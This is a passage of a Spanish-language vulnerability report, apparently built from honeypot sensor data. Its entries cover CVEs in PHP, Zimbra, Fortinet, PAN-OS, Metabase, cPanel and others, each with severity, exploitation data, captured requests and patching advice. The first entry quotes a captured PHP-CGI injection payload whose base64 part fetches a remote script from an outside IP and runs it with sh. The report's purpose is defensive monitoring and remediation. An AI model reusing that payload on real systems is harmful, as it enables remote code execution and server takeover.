Ejemplo capturado	`/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input · <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?>`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Upgrade to a patched version of PHP or apply the necessary security patches.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2012-1823 http://marc.info/?l=bugtraq&m=134012830914727&w=2 http://lists.opensuse.org/opensuse-security-announce/2012-05/msg00011.html

CVE-2019-9670 · Synacor Zimbra Collaboration Suite (ZCS)

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Otro tipo de fallo
Descripción oficial (inglés)	mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability, as demonstrated by Autodiscover/Autodiscover.xml.
Firma que lo detectó	Synacor Zimbra Collaboration <8.7.11p10 - XML External Entity Injection
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-611
Explotación conocida	Sí, figura en CISA KEV desde el 10/01/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 29/05/2019 (hace 7 años); primera vez vista en los sensores el 26/07/2026.
Actividad en el periodo	4 intentos (0 con carga real) desde 1 IP en 2 sensores, entre el 20/10/2026 y el 26/10/2026. Sensores: España y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/autodiscover/autodiscover.xml`
Qué hacer	Actualizar a la versión 8.7.11p10 o posterior.
Corrección indicada (inglés)	Upgrade to the latest version of Synacor Zimbra Collaboration (8.7.11p10 or higher) to mitigate this vulnerability.

Mientras tanto	Reducir la exposición del servicio a Internet hasta aplicar la actualización.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2019-9670 https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories https://bugzilla.zimbra.com/show_bug.cgi?id=109129

CVE-2022-40684 · Fortinet Multiple Products

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Saltarse el acceso o ganar privilegios
Producto (registro CVE)	Fortinet FortiOS, FortiProxy, FortiSwitchManager
Descripción oficial (inglés)	An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
Firma que lo detectó	Fortinet - Authentication Bypass
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C
Tipo de fallo (CWE)	CWE-287
Explotación conocida	Sí, figura en CISA KEV desde el 11/10/2022. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 18/10/2022 (hace 4 años); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	12 intentos (0 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/api/v2/cmdb/system/admin/admin`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Fortinet FortiOS, FortiProxy, FortiSwitchManager: FortiOS 7.2.1, 7.2.0, 7.0.6, 7.0.5, 7.0.4, 7.0.3, 7.0.2, 7.0.1, 7.0.0; FortiProxy 7.2.0, 7.0.6, 7.0.5, 7.0.4, 7.0.3, 7.0.2, 7.0.1, 7.0.0; FortiSwitchManager 7.2.0, 7.0.0.
Corrección indicada (inglés)	Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2022-40684 https://fortiguard.com/psirt/FG-IR-22-377 http://packetstormsecurity.com/files/169431/Fortinet-FortiOS-FortiProxy-FortiSwitchManager-Authentication-Bypass.html

CVE-2018-10562 · Dasan Gigabit Passive Optical Network (GPON) Routers

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
Firma que lo detectó	Dasan GPON Devices - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 31/03/2022. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 04/05/2018 (hace 8 años); primera vez vista en los sensores el 05/07/2026.

Actividad en el periodo	27 intentos (0 con carga real) desde 14 IPs en 3 sensores, entre el 19/10/2026 y el 29/10/2026. Sensores: España, Singapur y Suecia.
Servicio y detección	HTTP, HTTPS, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/GponForm/diag_Form?images/`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2018-10562 http://www.securityfocus.com/bid/107053 https://www.exploit-db.com/exploits/44576/
Aviso	Mismos intentos, IPs y fechas que CVE-2018-10561. Probablemente es la misma petición activando varias firmas: conviene tratarlas como una sola evidencia.

CVE-2021-3129 · Laravel Ignition

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
Firma que lo detectó	Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Explotación conocida	Sí, figura en CISA KEV desde el 18/09/2023. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 12/01/2021 (hace 5 años); primera vez vista en los sensores el 17/07/2026.
Actividad en el periodo	9 intentos (0 con carga real) desde 3 IPs en 3 sensores, entre el 22/10/2026 y el 28/10/2026. Sensores: España, Estados Unidos y Singapur.
Servicio y detección	HTTP, HTTPS, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/_ignition/execute-solution`
Qué hacer	Actualizar a una versión posterior a la 8.4.2.
Corrección indicada (inglés)	Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/facade/ignition/pull/334

CVE-2015-1427 · Elasticsearch

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
Firma que lo detectó	ElasticSearch - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-284
Explotación conocida	Sí, figura en CISA KEV desde el 25/03/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 17/02/2015 (hace 11 años); primera vez vista en los sensores el 05/07/2026.
Actividad en el periodo	22 intentos (0 con carga real) desde 22 IPs en 2 sensores, entre el 19/10/2026 y el 28/10/2026. Sensores: España y Singapur.
Servicio y detección	Elasticsearch, Tráfico de red (Suricata). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`GET /_search HTTP/1.1`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2015-1427 https://access.redhat.com/errata/RHSA-2017:0868 http://www.securityfocus.com/archive/1/534689/100/0/threaded

CVE-2024-0012 · Palo Alto Networks PAN-OS

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Saltarse el acceso o ganar privilegios
Producto (registro CVE)	Palo Alto Networks Cloud NGFW y Palo Alto Networks PAN-OS
Descripción oficial (inglés)	An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 . The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software. Cloud NGFW and Prisma Access are not impacted by thi
Firma que lo detectó	PAN-OS Management Web Interface - Authentication Bypass
Gravedad (CVSS)	Crítica (9,3) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red
Tipo de fallo (CWE)	CWE-306
Explotación conocida	Sí, figura en CISA KEV desde el 18/11/2024. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 18/11/2024 (hace 1 año); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	6 intentos (0 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)

Ejemplo capturado	`/php/ztp_gate.php/.js.map`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Palo Alto Networks PAN-OS: desde 11.2.0 hasta antes de 11.2.4-h1, desde 11.1.0 hasta antes de 11.1.5-h1, desde 11.0.0 hasta antes de 11.0.6-h1, desde 10.2.0 hasta antes de 10.2.12-h2.
Corrección indicada (inglés)	Upgrade to the latest patched version of PAN-OS as specified in the vendor security advisory.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2024-0012 https://security.paloaltonetworks.com/CVE-2024-0012 https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CVE-2018-20062 · ThinkPHP noneCms

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
Firma que lo detectó	ThinkPHP 5.x invokefunction RCE
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 11/12/2018 (hace 7 años); primera vez vista en los sensores el 04/08/2026.
Actividad en el periodo	53 intentos (0 con carga real) desde 16 IPs en 2 sensores, entre el 22/10/2026 y el 29/10/2026. Sensores: España y Estados Unidos.
Servicio y detección	Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2018-20062 https://github.com/nangge/noneCms/issues/21 http://packetstormsecurity.com/files/157218/ThinkPHP-5.0.23-Remote-Code-Execution.html

CVE-2023-38646 · Metabase

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
Firma que lo detectó	Metabase < 0.46.6.1 - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Explotación conocida	No figura en CISA KEV.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.
Fechas	Publicada el 21/07/2023 (hace 3 años); primera vez vista en los sensores el 06/07/2026.
Actividad en el periodo	4 intentos (0 con carga real) desde 4 IPs en 3 sensores, entre el 21/10/2026 y el 25/10/2026. Sensores: España, Estados Unidos y Singapur.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/api/session/properties`
Qué hacer	Actualizar a la versión 0.46.6.1 o posterior.
Corrección indicada (inglés)	Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2023-38646 https://www.metabase.com/blog/security-advisory https://github.com/metabase/metabase/releases/tag/v0.46.6.1

CVE-2022-42475 · Fortinet FortiOS

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Desbordamiento de memoria
Producto (registro CVE)	Fortinet FortiProxy y Fortinet FortiOS
Descripción oficial (inglés)	A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
Firma que lo detectó	Fortinet SSL-VPN - Heap-Based Buffer Overflow
Gravedad (CVSS)	Crítica (9,3) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C
Tipo de fallo (CWE)	CWE-197
Explotación conocida	Sí, figura en CISA KEV desde el 13/12/2022. Uso en ransomware: **sí, conocido**.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 02/01/2023 (hace 3 años); primera vez vista en los sensores el 01/07/2026.
Actividad en el periodo	25 intentos (0 con carga real) desde 22 IPs en 4 sensores, entre el 20/10/2026 y el 29/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, HTTPS, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/remote/login`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Fortinet FortiProxy: desde 7.2.0 hasta 7.2.1 incluida, desde 7.0.0 hasta 7.0.7 incluida, desde 2.0.0 hasta 2.0.11 incluida, desde 1.2.0 hasta 1.2.13 incluida y 2 más; Fortinet FortiOS: desde 7.2.0 hasta 7.2.2 incluida, desde 7.0.0 hasta 7.0.8 incluida, desde 6.4.0 hasta 6.4.10 incluida, desde 6.2.0 hasta 6.2.11 incluida y 5 más.
Corrección indicada (inglés)	Fixed in: FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15 FortiProxy >= 7.2.2, 7.0.8, 2.0.12

Mientras tanto	Retirar el servicio de Internet o filtrar quién puede conectarse hasta actualizar.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2022-42475 https://fortiguard.com/psirt/FG-IR-22-398 https://github.com/0xhaggis/CVE-2022-42475

CVE-2022-24086 · Adobe Commerce and Magento Open Source

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	Adobe Magento Commerce
Descripción oficial (inglés)	Adobe Commerce versions 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrary code execution.
Firma que lo detectó	Adobe Commerce (Magento) - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-20
Explotación conocida	Sí, figura en CISA KEV desde el 15/02/2022. Uso en ransomware: no conocido.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 16/02/2022 (hace 4 años); primera vez vista en los sensores el 21/07/2026.
Actividad en el periodo	4 intentos (0 con carga real) desde 2 IPs en 1 sensor, entre el 22/10/2026 y el 22/10/2026. Sensores: España.
Servicio y detección	HTTP, HTTPS, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/checkout/.env`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Adobe Magento Commerce: hasta 2.4.3-p1 incluida, hasta 2.3.7-p2 incluida.
Corrección indicada (inglés)	Update to the latest version of Adobe Commerce that addresses this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2022-24086 https://helpx.adobe.com/security/products/magento/apsb22-12.html https://vovohelo.medium.com/reversing-a-magento-rce-cve-2022-24086-e991ead4d8af

CVE-2025-68613 · n8n

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	n8n-io n8n
Descripción oficial (inglés)	n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. This issue has been fixed in versions 1.120.4, 1.121.1, and 1.122.0. Users are strongly advised to upgrade to a patched version, which introduces a
Firma que lo detectó	n8n - Remote Code Execution via Expression Injection
Gravedad (CVSS)	Crítica (10,0) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-913
Explotación conocida	Sí, figura en CISA KEV desde el 11/03/2026. Uso en ransomware: no conocido.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.

Valoración CISA (SSVC)	Explotación: activa; Automatizable: no; Impacto técnico: total
Fechas	Publicada el 19/12/2025 (hace 10 meses); primera vez vista en los sensores el 07/09/2026.
Actividad en el periodo	3 intentos (0 con carga real) desde 1 IP en 1 sensor, entre el 22/10/2026 y el 22/10/2026. Sensores: España.
Servicio y detección	HTTP, HTTPS. Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/rest/workflows`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: n8n-io n8n: >= 0.211.0, < 1.120.4, = 1.121.0.
Corrección indicada (inglés)	Upgrade to versions 1.120.4, 1.121.1, or 1.122.0 or later.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2025-68613 https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79

CVE-2026-72898 · Metabase

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Inyección SQL
Producto (registro CVE)	Metabase
Descripción oficial (inglés)	Metabase allows a remote, unauthenticated attacker to inject arbitrary SQL via the '/reset_password' database endpoint and gain administrator access to the connected Metabase instance.
Firma que lo detectó	Metabase - Unauthenticated SQL Injection
Gravedad (CVSS)	Crítica (10,0) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Tipo de fallo (CWE)	CWE-89
Explotación conocida	Sí, figura en CISA KEV desde el 11/08/2026. Uso en ransomware: no conocido.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 10/08/2026 (hace 2 meses); primera vez vista en los sensores el 06/07/2026.
Actividad en el periodo	4 intentos (0 con carga real) desde 4 IPs en 3 sensores, entre el 21/10/2026 y el 25/10/2026. Sensores: España, Estados Unidos y Singapur.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/api/session/properties`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Metabase: desde x.58.0 hasta antes de x.58.24, desde x.59.0 hasta antes de x.59.21, desde x.60.0 hasta antes de x.60.17, desde x.61.0 hasta antes de x.61.11 y 2 más.
Corrección indicada (inglés)	Update to the latest version of Metabase.
Mientras tanto	Activar las reglas de inyección SQL del WAF y reducir los permisos de la cuenta de base de datos que usa la aplicación.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2026-72898 https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf https://www.metabase.com/blog/security-update

CVE-2026-41940 · WebPros cPanel & WHM and WP2 (WordPress Squared)

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Saltarse el acceso o ganar privilegios
Producto (registro CVE)	WebPros cPanel y WebPros WP Squared
Descripción oficial (inglés)	cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
Firma que lo detectó	cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
Gravedad (CVSS)	Crítica (9,3) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Tipo de fallo (CWE)	CWE-306
Explotación conocida	Sí, figura en CISA KEV desde el 30/04/2026. Uso en ransomware: **sí, conocido**.
EPSS	99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 29/04/2026 (hace 6 meses); primera vez vista en los sensores el 25/07/2026.
Actividad en el periodo	2 intentos (0 con carga real) desde 1 IP en 1 sensor, entre el 22/10/2026 y el 22/10/2026. Sensores: España.
Servicio y detección	HTTP, HTTPS. Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/___proxy_subdomain_whm/login/?login_only=1`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: WebPros cPanel: desde 11.40.0.0 hasta antes de 11.86.0.41, desde 11.88.0.0 hasta antes de 11.94.0.28, desde 11.96.0.0 hasta antes de 11.102.0.39, desde 11.104.0.0 hasta antes de 11.110.0.97 y 7 más; WebPros WP Squared: anteriores a 11.136.1.7.
Corrección indicada (inglés)	Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2026-41940 https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026 https://docs.cpanel.net/release-notes/release-notes

CVE-2009-1151 · phpMyAdmin

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	Static code injection vulnerability in setup.php in phpMyAdmin 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 allows remote attackers to inject arbitrary PHP code into a configuration file via the save action.
Firma que lo detectó	PhpMyAdmin Scripts - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-94
Explotación conocida	Sí, figura en CISA KEV desde el 25/03/2022. Uso en ransomware: no conocido.
EPSS	97 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 26/03/2009 (hace 17 años); primera vez vista en los sensores el 30/08/2026.
Actividad en el periodo	1 intentos (0 con carga real) desde 1 IP en 1 sensor, entre el 23/10/2026 y el 23/10/2026. Sensores: Singapur.
Servicio y detección	Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/phpmyadmin/scripts/setup.php`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Update PhpMyAdmin to the latest version or apply the necessary patches.

Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2009-1151 http://security.gentoo.org/glsa/glsa-200906-03.xml http://www.debian.org/security/2009/dsa-1824

CVE-2021-46422 · SDT-CW3B1

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
Firma que lo detectó	SDT-CW3B1 1.1.0 - OS Command Injection
